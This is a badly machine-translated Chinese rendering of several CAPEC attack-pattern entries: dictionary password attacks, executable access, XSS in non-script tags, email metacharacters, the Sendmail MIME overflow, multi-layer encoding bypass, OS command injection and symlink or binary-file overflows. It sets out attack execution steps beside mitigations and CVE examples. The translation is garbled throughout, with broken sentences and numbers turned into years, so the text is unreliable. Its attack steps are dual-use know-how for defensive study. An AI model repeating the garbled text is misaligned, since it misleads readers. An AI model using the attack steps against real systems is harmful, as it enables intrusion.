非常容易理解的例子(但完全不适用的现代密码)是一种密码分析技术称为频率分析,可以成功地应用于非常基本的经典加密算法执行单表代换替换每个字母的明文预先确定的映射相同的字母的来信。这被认为是一个比一个更基本的技术,将会改变所有的字母明文的常数的立场和替换原来的字母与合成的新字母字母的位置。而单表代换密码弹性盲目的蛮力,只不过他们很容易被打破的一个纸和笔。频率分析密码分析使用自然语言这一事实并不随机,单表代换不隐藏统计自然语言的属性。如果发生在一个英文字母“E”与一个已知频率(大约12.7%),无论“E”被替换下场的密文,会发生类似的频率。在这个频率信息允许密码破译者快速确定替换和解密的密文。频率分析技术并不适用于现代密码都是适应它(除非这是一个非常坏的本土加密算法)。这个例子只是说明一个基本的密码分析的例子。 高——密码分析通常需要一个非常重要的数学理解水平和计算。 计算资源需求会根据给定的密码分析技术的复杂性。访问加密/解密算法的程序也是必需的。 使用经过验证的加密算法推荐的关键尺寸。 确保正确使用算法。这意味着:1。没有推出自己的密码;使用经过验证的算法和实现。2。选择初始化向量与足够的随机数字3。使用良好来源生成关键材料的随机性和避免弱键4。使用证明协议及其实现。5。挑选最合适的为你的使用环境和数据加密算法 信息泄漏 数据修改 特权升级 327年 有针对性的 693年 有针对性的 719年 有针对性的 20. 更详细的 偶尔也会遵循 侦察 所有 所有 所有 所有 维基百科(密码分析):www.wikipedia.org 肖恩·巴纳姆 Cigital公司。 2007-03-25 确定创建模式的优先事项 Evgeny Lebanidze Cigital公司, 2007-03-20 充实内容模式 肖恩·巴纳姆 Cigital公司 2007-04-16 审查和修改 攻击者尝试每个单词在字典的密码进入系统通过一些用户的帐户。如果密码由用户选择一个词在字典,这种攻击会成功(没有其他措施之一)。这是一个密码蛮干攻击模式的特定实例。 决定应用程序/系统的密码策略 确定目标应用程序/系统的密码策略。 确定最小和最大允许密码长度。 env-All 确定的格式允许密码(是否需要或允许包含数字,特殊字符,等等,或者他们是否允许包含单词从字典)。 env-All 确定帐户锁定策略(严格的帐户锁定策略将防止暴力破解攻击)。 env-All 密码中使用的应用程序/系统 env-All 密码不是用于应用程序/系统。 env-All 选择字典 选择要使用的字典攻击(比如不同的语言、特定的术语,等等)。 基于特定选择词典用户的首选语言。 env-All 选择字典的基础上,应用程序/系统支持的语言。 env-All 确定目标用户名(s) 确定用户名密码破解的(s)。 获取用户名(s)通过嗅探网络数据包。 env-CommProtocol env-Peer2Peer env-ClientServer 获取用户名(s)通过查询应用程序/系统(例如,如果在一个失败的登录尝试,系统显示输入的用户名是否有效) env-All 从文件系统获取用户名(如C:\Documents and Settings\在Windows的目录列表,列表在类unix系统的/ etc / passwd) env-Embedded env-Local 远程应用程序或系统没有提供显示关于一个给定的用户名是否有效。 env-ClientServer env-Peer2Peer env-Web env-CommProtocol 至少有一个有效的用户名。 存在任何有效用户名不能成立。 不透露信息的有效性特定用户名的用户。 锁住帐户的用户名被怀疑是妥协。 使用字典来破解密码。 使用密码破解工具,可以利用字典提供密码系统,看看他们的工作。 尝试所有单词在字典里,以及常见的拼写错误的单词作为选择用户名密码(年代)。 env-All 尝试共同组合的单词在字典里,以及常见的拼写错误的组合作为选择用户名密码(年代)。 env-All 应用程序/系统不使用密码身份验证。 env-All 攻击者决定正确的密码用户ID和获得访问应用程序或系统。 攻击者无法确定用户ID和获得正确的密码访问应用程序或系统。 大量的认证失败日志。 执行严格的帐户锁定策略。 执行强密码(有足够的长度和包含小写和大写字母,数字和特殊字符) 基于密码的身份验证的系统使用一个因素。 系统没有一个良好的密码策略正在执行。 系统没有实现一个有效的密码节流机制。 媒介 蛮力 一个系统用户选择“危险”这个词作为他们的密码,相信它会很难猜。使用密码的字典攻击破解这个密码和访问帐户。 思科跳跃挑战/响应身份验证机制使用密码的方式容易受到字典攻击,这使得它更容易为远程攻击者获得特权通过暴力破解密码猜测攻击。思科的飞跃是一个相互的身份验证算法,支持动态推导会话密钥。与思科飞跃,相互验证依赖于一个共享密钥,用户的登录password-which被客户端和网络,并用于应对挑战和用户之间的远程认证拨号用户服务(半径)服务器。方法存在的人写一个工具推出离线字典攻击利用微软MS-CHAP基于密码的认证,比如思科的飞跃。该工具利用大密码列表有效启动离线字典攻击飞跃用户帐户,通过被动嗅探或主动收集技术。 cve - 2003 - 1096 低:各种密码破解工具和字典推出这种类型的攻击。 机器工作的足够的资源(如CPU、RAM、高清)。适用的字典是必需的。也是一个密码破解工具或一个自定义脚本,利用字典数据库启动攻击。 许多无效的登录尝试来自同一台机器(同一个IP地址)或相同的登录名。登录尝试使用密码字典单词。 采用IP欺骗,让它看起来像登录尝试来自不同的机器上。 创建强密码策略,并确保您的系统实施这一政策。 实现一个智能密码节流机制。必须注意确保这些机制不过分使CAPEC-02等帐户锁定攻击。 特权升级 521年 有针对性的 262年 有针对性的 263年 有针对性的 693年 有针对性的 49 更抽象 偶尔也会遵循 70年 更详细的 偶尔之前 55 偶尔也会遵循 渗透 媒介 所有 所有 所有 所有 尤金Lebanidze Cigital公司 2007-02-26 肖恩·巴纳姆 Cigital公司 2007-03-01 审查和修订的内容 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致变化的解决方案 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 阿米特·塞提 Cigital公司。 2007-10-29 添加扩展攻击执行流 这种类型的攻击利用系统的配置,允许攻击者直接访问一个可执行文件,例如通过shell访问;或者在可能的最坏情况允许攻击者上传一个文件,然后执行它。Web服务器,ftp服务器和面向消息的中间件系统,有很多集成点是特别脆弱,因为程序员和管理员必须同步对每个接口的接口和正确的权限。 系统的配置必须允许攻击者直接访问执行可执行文件或上传文件。这意味着任何访问控制系统,应该调解subkect和对象之间的通信设置不正确或假定一个良性的环境。 非常高的 修改的资源 API滥用 考虑一个web服务器上的一个目录使用以下权限管理公共drwxrwxrwx 170 11月17日01:08 webroot这可能允许攻击者执行和上传和执行程序的web服务器上。可以利用这个漏洞威胁探测系统和识别额外的漏洞利用。 低→确定和执行针对一个超水准系统接口 沟通能力与服务器同步或异步发布一个超水准目录,程序,或接口。可选地,能够捕获输出直接通过同步通信或其他方法如FTP。 设计:实施最小特权原则 设计:与非根用户帐户运行服务器接口和/或使用chroot监狱或其他配置技术限制特权,即使攻击者可以有限制地访问命令。 实现:执行测试,如其中和漏洞扫描识别目录,程序,和接口,直接访问的可执行文件。 运行任意代码 数据修改 信息泄漏 特权升级 ”攻击模式:直接访问可执行文件有特权的程序直接访问。攻击者的项目代表执行操作,允许特权升级或shell访问。对于Web服务器,这通常是一个致命的问题。如果服务器运行外部可执行文件提供一个用户(甚至只是被一个用户),用户可以以无法预料的方式导致系统的行为。这可能是通过传递命令行选项或旋转的交互式会话。这类问题总是那么糟糕给攻击者完全shell访问。最常见的这类攻击的目标是Web服务器。攻击是如此简单,攻击者已经知道利用互联网搜索引擎寻找潜在目标。Altavista搜索引擎是一个伟大的资源等攻击者寻找目标。谷歌工作。” [Hoglund and McGraw 04] 有效载荷通过标准的通信协议。 命令(s)直接在主机执行 客户端机器和客户网络 使攻击者能够与任何命令,执行服务器端代码程序所有者拥有特权。 285年 有针对性的 272年 有针对性的 59 有针对性的 282年 有针对性的 275年 有针对性的 264年 有针对性的 270年 有针对性的 693年 有针对性的 1 更详细的 渗透 媒介 所有 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-01-01 贡纳·彼得森 Cigital公司 2007-02-28 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-09 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致变化的名称、描述和例子 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 这种攻击是一种跨站点脚本(XSS),恶意脚本嵌入元素不会主机脚本如图像标记(< img >),评论在XML文档中(< ! cdata - >),等等。这些标记可能不是相同的输入验证,验证、输出和其他内容过滤和检查例程,这可以为攻击者创建一个机会隧道通过应用程序的元素和通过其他元素发动XSS攻击。与所有的远程攻击,重要的是要区分发动袭击的能力(如探测应用补丁的服务器)的内部网络和远程攻击者的能力来收集和解释说攻击的输出。 目标客户端软件必须是一个客户机允许脚本执行基于远程主机生成的脚本。 非常高的 注射 API滥用 在这个例子中,攻击者将脚本添加到HTML标记除了<脚本>标记,当受害者的标准内容附加恶意脚本。例如一个链接到http://myfavoritewebsite/getMyHomePage/content?malciousscript。js受害者点击链接,指导他们的主页(这样受害者不注意任何不妥),同时在他们的机器上执行一个脚本。 低→实现重定向和使用更少的可靠来源,攻击者可以简单地编辑内容,如XML有效负载或HTML文件被发送到客户机。高→利用客户端漏洞将恶意脚本注入浏览器的执行过程。 能力包括恶意脚本文件,例如HTML文件或XML文档。部署自定义敌对目标客户服务的访问。沟通能力与客户端机器同步或异步 设计:使用浏览器技术,不允许客户端脚本。 实现:确保所有内容交付给客户是消毒与一个可接受的内容规范。 实现:对所有远程执行输入验证的内容。 实现:对所有远程执行输出验证的内容。 实现:在浏览器中禁用脚本语言Javascript等 实现:会话令牌为特定的主机 实现:服务提供者不应使用XMLHttpRequest方法来创建一个本地代理来自其他网站的内容,因为客户端将无法辨别哪些内容来自哪个主机。 运行任意代码 信息泄漏 “Attack Pattern: Embedding Script in Nonscript Elements Script does not need to be inserted between def: whatever 元字符是最有价值的工具攻击者欺骗用户采取一些行动。电子邮件可能是最高效和成本有效的攻击分布工具可用,这导致了网络钓鱼的大流行。元字符\ w \ s \ d ^能让攻击者逃避的预期行为执行额外的命令。逃跑的过程(如电子邮件客户机)允许攻击者运行任意代码在用户的过程。 低→分发邮件 设计:对邮件头数据执行验证 实现:实现电子邮件过滤解决方案在邮件服务器或MTA,中继服务器。 实现:邮件服务器,执行严格的验证可能抓住这些攻击,因为元字符不允许在许多标题变量如dns名称 运行任意代码 ”攻击模式:元字符在邮件头可以提供在电子邮件标题和元字符可能被客户端软件有趣的效果。”(霍格伦德和McGraw 04) 电子邮件 元字符 电子邮件电子邮件程序的处理例程 使攻击者能够与任何命令,执行服务器端代码程序所有者拥有特权。 150年 有针对性的 88年 有针对性的 697年 有针对性的 713年 有针对性的 渗透 所有 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-01-01 贡纳·彼得森 Cigital公司 2007-02-28 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-09 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致变化的名称、描述和例子 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 攻击者利用一个弱点在MIME转换例程导致缓冲区溢出和控制邮件服务器机器。MIME系统被设计为允许各种不同的信息格式解释和通过电子邮件发送。攻击点存在数据转换为MIME兼容的格式。 确定邮件服务器是否修改,可能是容易的一个已知的MIME转换缓冲区溢出(例如Sendmail 8.8.3和8.8.4)。 系统中确定地方脆弱可以使用MIME转换例程。 电子邮件消息发送到目标系统拥有精心设计的头,引发缓冲区溢出和执行shellcode。 目标系统使用一个邮件服务器。 邮件服务器供应商没有MIME转换程序发布了一个补丁,补丁本身有一个安全漏洞或不解决原来的问题,或补丁还没有应用到用户的系统。 注射 攻击的例子:Sendmail溢出MIME转换Sendmail版本8.8.3和8.8.4中存在缓冲区溢出。Sendmail版本8.8.3和8.8.4容易受到缓冲区溢出的MIME处理代码。通过发送消息和特制头到服务器,远程攻击者可以溢出缓冲区和执行任意命令使用root特权系统上。Sendmail执行7位8位转换电子邮件。这个漏洞是由于边界检查不足表现在执行这些转换。这给攻击者提供了一个机会来覆盖内部堆栈sendmail虽然使用root特权执行。攻击者首先探测目标系统找出邮件服务器系统上使用什么版本。攻击者可以测试他们闲暇的时候利用自己的机器上运行相同版本的邮件服务器在野外之前使用它。 cve - 1999 - 0047 低:它可能是微不足道的通过这种攻击导致DoS模式高:在目标系统上执行任意代码。 第一步是图什么邮件服务器(和版本)在目标系统上运行。 与第三方供应商保持最新的补丁 禁用7到8位转换。这可以通过移除F = 9国旗从所有梅勒在sendmail规范。cf文件。例如,一个发送邮件。cf文件与这些变化应用应类似于(取决于您的系统和配置):Mlocal, P = / usr / libexec /邮件。地方、F = lsDFMAw5: / | @qrmn, S = 10/30, R = 20/40, T = DNS /根据RFC822 / X-Unix,以=邮件- D u Mprog美元,P = / bin / sh, F = lsDFMoqeu S = 10/30, R = 20/40, D = $ z: / T = X-Unix = sh - c u美元这可以实现“Mlocal”和“Mprog”信件通过修改”。mc”文件包括以下行:定义(“LOCAL_MAILER_FLAGS”,如果定义了(“LOCAL_MAILER_FLAGS”,“translit (LOCAL_MAILER_FLAGS, ' 9 ') ', ' rmn '))定义(“LOCAL_SHELL_FLAGS”,如果定义了(“LOCAL_SHELL_FLAGS”,“translit (LOCAL_SHELL_FLAGS‘9’)”,“欧盟”)),然后重建sendmail。使用m4 cf文件(1)。从“软件开发”,请见下面的参考。 使用sendmail限制shell程序(smrsh) 使用mail.local 运行任意代码 数据修改 拒绝服务 特权升级 基于内容的缓冲区溢出数据文件是无处不在的。他们是用来存储从文件内容媒体和重要的计算机设置。每个文件都有一个固有的格式通常包括特殊的信息,如文件长度、媒体类型,字体是黑体,所有直接编码的数据文件。这样的攻击向量对数据文件很简单:混乱的数据文件,等待一些毫无戒心的用户打开它。某些文件是非常简单的和其他复杂的二元结构和数值数据嵌入到他们。有时,简单的动作在十六进制编辑器中打开一个复杂的文件和调整几个字节足以引起的(毫无戒心的)项目消耗玉石俱焚的文件。 尤其是格式化电子邮件消息的身体放在一起的方式触发MIME转换缓冲区溢出的7到8位MIME转换函数。 shellcode包括电子邮件消息体的一部分,在目标系统上执行基于堆栈的缓冲区溢出后使用root特权7到8位MIME转换函数是杠杆。 这个函数执行7到8位MIME转换。 120年 有针对性的 119年 有针对性的 74年 有针对性的 20. 二次 cve - 1999 - 0047 MIME转换Sendmail版本8.8.3和8.8.4中存在缓冲区溢出。Sendmail版本8.8.3和8.8.4容易受到缓冲区溢出的MIME处理代码。通过发送消息和特制头到服务器,远程攻击者可以溢出缓冲区和执行任意命令使用root特权系统上。Sendmail执行7位8位转换电子邮件。这个漏洞是由于边界检查不足表现在执行这些转换。这给攻击者提供了一个机会来覆盖内部堆栈sendmail虽然使用root特权执行。攻击者首先探测目标系统找出邮件服务器系统上使用什么版本。攻击者可以测试他们闲暇的时候利用自己的机器上运行相同版本的邮件服务器在野外之前使用它。 没有安全 渗透 剥削 所有 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 CERT咨询ca - 1997 - 05年,”MIME转换缓冲区溢出在Sendmail版本8.8.3 8.8.4”。可以在http://www.cert.org/advisories/ca - 1997 - 05. - html g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-03-01 尤金Lebanidze Cigital公司 2007-02-26 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-05 审查和修改 攻击者向目标软件提供输入数据,其中包含特殊字符序列设计绕过输入验证逻辑。这个利用依赖于目标使倍数通过输入数据和处理与每个通过“层”的特殊字符。通过这种方式,攻击者可以输入,否则被拒绝伪装成无效通过隐藏层的特殊/转义字符脱光衣服的后续处理步骤。目标是第一个发现的情况下输入验证层之前执行一个或多个解析层。也就是说,用户输入应用程序中可能经历以下逻辑:< < parser1 > > > < <输入验证器> >——> < < parser2 > >。在这种情况下,攻击者将需要提供输入,通过输入验证器,但通过parser2后,将转换成输入验证器应该停止。 确定应用程序/系统输入,绕过需要输入验证 攻击者首先需要确定应用程序/系统的输入,执行输入验证时,他/她想绕过它。 在使用一个应用程序/系统,攻击者发现一个输入验证是阻止他/她执行一些恶意或未经授权的操作。 env-All 当提供意想不到的输入,程序提供了一个错误消息,指出输入是无效的,或者访问被拒绝。 env-All 确定哪些字符编码应用程序/系统所接受 然后攻击者需要提供不同的字符编码到应用程序/系统,并确定哪些是接受。攻击者需要观察数据编码的应用程序/系统的响应来确定数据是否正确解释。 确定哪些转义字符是由应用程序/系统接受。一个常见的反斜杠字符转义字符,“\” env-All 确定URL编码是否接受应用程序/系统。 env-All 确定utf - 8编码是否接受应用程序/系统。 env-All 确定utf - 16编码是否接受应用程序/系统。 env-All 确定其他编码是否接受应用程序/系统。 env-All 系统提供错误消息类似提供positivie指标时收到的第一步。 env-All 应用程序/系统接受至少一个高水平的字符编码字符可以用多个ASCII字符表示。 应用程序/系统分别解释每个字符。 检测和报警日志消息(如编码的出现。“不成功的登录& lt;乔”) 结合多个编码接受的应用程序。 攻击者现在结合编码接受应用程序。攻击者可能会结合不同编码或多次应用相同的编码。 结合多次相同的编码,观察其效果。例如,如果特殊字符编码和一家领先的反斜杠,然后下面的编码可能接受的应用程序/系统:" \ \ \ "。两个解析层,这可能会转化为“\”。在第一次解析层,然后,”,“在第二次。如果输入验证层是两个解析层之间,然后“\ \ \ \ \ \”。可能通过测试”。“但仍然会转化为“…”。这可能使目录遍历的攻击。 env-All 结合多个编码,观察效果。例如,攻击者可能编码“。”“\”。, and then, encode "\." as "\.", and then, encode that using URL encoding to "%26%2392%3B%26%2346%3B" env-All 应用程序/系统对多个编码正确。 env-All 攻击者绕过输入验证层(s)和它不希望将数据传递给应用程序。 确保输入验证层尽可能多的解析层后执行。 确定任何解析层执行的细节后,输入验证层(这可能是必要的文件系统访问,例如,操作系统还包括一个解析层),并确保输入验证器占各种非法字符和字符的编码序列在这些层。 利用旁路输入验证的能力 攻击者利用他的能力绕过输入验证获得未授权访问系统。可能有许多攻击,还提到了几个例子。 获得敏感文件。 env-All 执行命令注入。 env-All 执行SQL注入。 env-All 执行XSS攻击。 env-All 在前一步成功的结果 env-All 上一步的结果失败 env-All 未经授权访问系统功能。 用户输入用于构造在目标系统上执行一个命令或文件名的一部分。 上执行多个解析器通过用户提供的数据。 媒介 注射 修改的资源 使用反斜杠字符转义multiple-parser问题提供了一个很好的例子。用反斜杠转义字符在字符串,但也用来划定在NT目录文件系统。当执行一个命令注入包括NT路径,通常有一个需要“双逃脱”反斜杠。在某些情况下,一个四逃跑是必要的。原始字符串:C: \ \ \ \ winnt \ \ \ \ system32系统\ \ \ \ cmd。exe / c <解析层>临时字符串:c: \ \ winnt \ \ system32系统\ \ cmd。exe / c <解析层>最终字符串:c: \ winnt \ system32系统\ cmd。exe / c这个图显示每个连续层的解析将反斜杠字符。双反斜杠成为一个解析。通过使用四反斜杠,攻击者能够控制最后的结果字符串。从g·霍格伦德和g·麦格劳。 Exploiting Software: How to Break Code. Addison-Wesley, February 2004. 媒介 最初可以使用fuzzer看看应用程序成功地逃离,是什么原因导致的问题。这可能是一个很好的起点。 手动尝试引入控制字符,看看有多少层的多层应用程序可以逃脱。 重复控制字符被检测到的过滤器。 迭代方法可能需要输入验证,确保没有危险的人物存在。可能需要在不同的输入验证层实现冗余检查。尽快确保无效的数据被拒绝,不继续工作。 确保执行输入验证规范化数据(即数据在其最标准的数据形式)。这将有助于避免棘手的编码在通过过滤器。 假设所有的输入是恶意的。创建一个白名单,它定义了所有有效的输入软件系统根据需求规格说明书。输入不匹配白名单不应被允许进入系统。 数据修改 特权升级 信息泄漏 171年 有针对性的 179年 有针对性的 181年 有针对性的 184年 有针对性的 183年 有针对性的 77年 有针对性的 78年 有针对性的 74年 有针对性的 20. 有针对性的 697年 有针对性的 707年 有针对性的 深度防御 渗透 媒介 所有 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 CWE——输入验证 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-03-01 尤金Lebanidze Cigital公司 2007-02-26 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-05 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致改变名称和描述 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 阿米特·塞提 Cigital公司。 2007-10-29 添加扩展攻击执行流 攻击者可以利用操作系统命令注入应用程序中提升特权,执行任意命令和妥协底层操作系统。 确定操作系统命令输入 攻击者决定用户可控的输入被作为命令的一部分传递给底层操作系统。 端口映射。识别系统监听端口,并试图确定输入这些端口和协议类型。 env-Local env-CommProtocol env-Peer2Peer env-ClientServer TCP / IP指纹。攻击者使用各种软件进行连接或部分连接,观察从操作系统的反应。使用这些反应,他试图想实际的操作系统。 env-Embedded env-ClientServer env-Peer2Peer env-CommProtocol env-Web 引发错误信息的错误消息 env-All 目标软件通过网络接受连接。 env-Web env-CommProtocol env-Peer2Peer env-Embedded env-ClientServer 操作环境(操作系统、语言和/或中间件)被正确识别。 提出了多个候选操作环境。 提供误导性信息TCIP / IP指纹(一些操作系统可以配置为发送签名相匹配的其他操作系统)。 提供误导信息在服务器级别(例如,Apache, IIS, WebLogic,等等)宣布一个不同的服务器软件。 指纹识别技术可以检测到操作系统或网络IDS系统,因为他们离开网络连接的委屈,或者他们不属于一个有效、开放连接。 调查中的应用 攻击者调查目标应用程序,这可能是一个有效的和经过身份验证的用户 搜索所有可用的链接网站 env-Web 库存的所有应用程序输入 env-All 攻击者发展一个有效的输入列表 env-All 攻击者的发展可能命令分隔符的列表。 监控页面抓取的速度在web日志。人查看页面,选择一个链接点击会远慢和定期远远少于工具。工具很快发出请求,请求通常间隔的定期(例如0.8秒之间)。 创建链接在某些页面视觉隐藏在web浏览器。使用IFRAMES、图像或其他HTML技术,可以从web浏览人类隐藏的链接,但可见的蜘蛛和程序。请求页面,然后,变成了一个自动化工具的一个很好的预测指标探测应用程序。 积极地监控应用程序从起源和否认或重定向请求,似乎是自动的。 监控功能激活(非web软件)的速度。人激活特性(单击按钮,请求操作,调用api,等等)会慢到目前为止和定期远远少于工具。工具很快发出请求,请求通常间隔的定期(例如0.8秒之间)。 不同输入,寻找恶意的结果。 取决于应用程序被剥削是一个远程或本地攻击者工艺品适当的恶意输入,包含操作系统命令,传递给应用程序 注入命令分隔符使用网络包注入工具(netcat、对手等)。 env-CommProtocol env-Web env-Peer2Peer env-ClientServer 注入命令分隔符使用web测试框架(代理、TamperData、自定义程序,等等)。 env-Web 总结在前一步是成功的。 env-All 一个或多个合适的注射从软件平台引发意外反应,可以被攻击者不同的基于输入。 执行恶意命令 黑客可能窃取信息,安装一个后门访问机制,提升特权或妥协系统以其它方式。 攻击者执行一个命令存储敏感信息到一个位置他可以检索后(可能使用不同的命令注入)。 env-All 攻击者执行一个命令存储敏感信息到一个位置他可以检索后(可能使用不同的命令注入)。 env-All 攻击者执行一个命令存储敏感信息到一个位置他可以检索后(可能使用不同的命令注入)。 env-All 软件执行攻击者的欲望。这可能是显示信息,存储计划,执行一个命令,或其他恶意行为。 使一般利用管理工具记录它们的执行。 通常利用管理工具不可执行的,除了当系统在特定的维护周期。(即。之前,需要管理员专门启用某些行政命令执行系统维护)。 用户可控的输入作为命令底层操作系统的一部分。 高攻击者的动机去寻找和发现这种攻击的机会由于它得到的力量。 注射 API滥用 一个事务处理系统依赖于大量的语言编写的代码。访问此功能时,系统通过交易信息系统上的命令行。攻击者可以访问系统命令行并执行恶意事务数据注入这些命令的命令。如果成功,攻击者可以窃取信息,安装后门和执行其他违法活动,可以妥协系统及其数据。 Mozilla Firefox 1中的一个漏洞。x浏览器允许攻击者在UNIX / Linux操作系统上执行任意命令。漏洞是由于造成的shell脚本用于启动Firefox解析包含在引号的shell命令通过命令行提供的URL。这可以用来执行任意shell命令后通过欺骗用户到恶意链接的外部应用程序使用Firefox作为默认浏览器(如邮件客户端进化在Red Hat Enterprise Linux 4)。 高:攻击者不仅需要知识的应用程序开发也命令的确切性质属于目标操作系统。这可能涉及到,尽管并不总是,具体装配指令的知识平台。 使用语言传递数据的api而不是依靠oeprating系统shell或命令行。这样做可以确保语言中可用的保护机制是完整的和适用的。 过滤所有传入数据逃避或删除字符或字符串可能误解为操作系统或shell命令 所有的应用程序进程应该运行所需的最小权限。此外,过程必须尽快摆脱特权不再需要他们。 运行任意代码 特权升级 信息泄漏 大多数现代应用程序是使用J2EE或。net编写管理平台。这些平台提供相当可靠的机制来防止系统底层代码无意中访问部分,它不应该。然而,有两个主要因素减轻对根除OS命令注入。第一个涉及到本机代码和库的使用。任何管理平台的唯一途径访问此功能是通过调用底层操作系统. .第二个因素与非托管代码的流行,比如PERL代码,用于创建应用程序。举例来说,PERL是选择的语言编程时使用CGI。PERL程序员调用非托管,并允许简单机制底层操作系统命令。这个问题是加剧了这一事实这样的呼吁到oeprating系统是由特权远远高于要求,因此导致额外伤害。因为输入验证是一种艺术尚未完善,攻击者滥用的机会比比皆是的应用程序和底层操作系统上执行命令。 用户可控输入使用操作系统命令的一部分 操作系统命令注入攻击,打算升级特权或泄露信息 利用应用程序的底层操作系统。 注射操作系统shell命令解释,导致它们被执行的权限下运行开发应用程序的过程。 78年 有针对性的 88年 二次 20. 二次 697年 有针对性的 713年 有针对性的 最小特权 不愿相信 从不使用用户输入的指令任何内部组件 渗透 剥削 所有 所有 所有 所有 Secunia咨询SA16869: Firefox URL命令行Shell命令注入 Chiradeep b Chhaya 2007-03-16 初稿 肖恩·巴纳姆 Cigital公司 2007-04-16 审查和修改 这种类型的攻击利用缓冲区溢出漏洞处理的二进制资源。二进制资源可能包括像MP3音乐文件,图像文件,如JPEG文件和其他二进制文件。这些攻击可能注意到客户机通过正常使用的文件,如浏览器加载一个看似无辜的JPEG文件。这可能允许攻击者访问执行堆栈和执行任意代码在目标的过程。这种攻击模式是一个标准的缓冲区溢出攻击的变种使用一个意想不到的向量(二进制文件)将其攻击并打开一个新的攻击向量。攻击者需要直接服务于二进制内容的受害者,或者把它放在语言环境像MP3共享应用程序,下载的受害者。攻击者然后在下载或以其他方式通知位于缓冲区溢位的弱点了。 目标软件过程二进制资源文件。 目标软件包含一个缓冲区溢出漏洞可以通过输入一个用户可控二进制资源文件。 非常高的 修改的资源 二进制文件喜欢音乐和视频文件添加额外的数据导致缓冲区溢出到目标系统上。因为这些文件可能充满否则受欢迎的内容,攻击者的最佳矢量广泛分布。有很多情况下,例如恶意屏幕保护程序为运动队的分布式事件的球队赢得冠军。 媒介→修改文件,欺骗客户端下载,定位和利用远程堆栈或堆脆弱性 在所有缓冲区执行适当的边界检查。 设计:实施最小特权原则 设计:静态代码分析 实现:执行计划不可信进程空间环境,不允许低完整性流程写更高的完整流程 实现:保持软件修补确保已知的漏洞不可以攻击到目标主机。 拒绝服务 运行任意代码 “攻击模式:溢出攻击者修改资源文件二进制资源文件,如声音、视频、图形,或字体文件。有时只是在十六进制编辑器中编辑目标资源文件是可能的。攻击者修改标题和结构数据显示字符串的长度,等等。”(霍格伦德和McGraw 04) 119年 有针对性的 697年 有针对性的 713年 有针对性的 23 类似的 35 类似的 渗透 剥削 所有 所有 所有 所有 C c++ g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-01-01 贡纳·彼得森 Cigital公司 2007-02-28 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-09 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致相关的攻击模式的变化 肖恩·巴纳姆 Cigital公司 2007-04-13 根据审查和反馈修改模式内容 这种类型的攻击利用的使用符号链接导致缓冲区溢出。攻击者可以尝试创建或操作一个符号链接文件,其内容导致的数据。当目标软件过程符号链接文件时,它可能会溢出内部缓冲区边界检查不足。 1 -攻击者创建或修改一个符号链接指向一个资源(如文件、目录)。符号链接文件的内容包括禁止入内的(如过度长度)的数据。 2 -目标主机消费指向的数据符号链接文件。目标主机可能有意希望读一个符号链接或者它可能被替换的原始资源和阅读攻击者的符号链接。 3,而消费数据,目标主机不检查缓冲区边界从而导致缓冲区溢出。如果数据被攻击者控制的内容,这是一个大道为远程代码执行。 攻击者可以在目标主机上创建符号链接。 目标主机不执行正确的边界检查,从资源消耗数据。 注射 修改的资源 攻击的例子:溢出与符号链接EFTP服务器EFTP服务器可以利用缓冲区溢出,如果攻击者上传.lnk(链接)文件,其中包含超过1744个字节。这是一种间接缓冲区溢出的一个典型的例子。首先攻击者上传一些内容(文件)的联系,然后攻击者使客户消费数据被利用。在这个例子中,ls命令是用来妥协的服务器软件。 低:攻击者可以简单地由一个长字符串插入溢出缓冲区attacker-modifiable注入向量。结果可以是一个DoS。高:利用缓冲区溢出堆栈注入恶意代码的软件系统,甚至堆可能需要更高的技术水平。 攻击者会寻找世界上临时文件可读目录。那些临时文件通常是创建和阅读系统。 攻击者会寻找符号链接或链接目标文件,她可以overide。 攻击者创建或修改符号链接是一个潜在的攻击信号。 攻击者删除临时文件也可以是一个信号,表明攻击者正试图取代合法资源与恶意的。 注意这一事实ressource你读可以取而代之的是一个符号链接。你可以做一个符号链接检查之前读取文件并决定,这不是一个合法的方式访问资源。 因为符号链接可以被攻击者修改,确保你读的是位于受保护的目录。 注意资源指向你的符号链接链接(见攻击模式命名为“强制符号链接竞赛”),它们可以被恶意的资源。 总是检查输入数据的大小在复制到缓冲区。 使用一种语言或编译器执行自动范围检查。 使用一个抽象库抽象危险的api。不是一个完整的解决方案。 基于编译器的金丝雀StackGuard等机制,ProPolice和Microsoft Visual Studio / GS标志。除非这提供了自动范围检查,它不是一个完整的解决方案。 使用操作系统的预防功能。不是一个完整的解决方案。 拒绝服务 运行任意代码 信息泄漏 数据修改 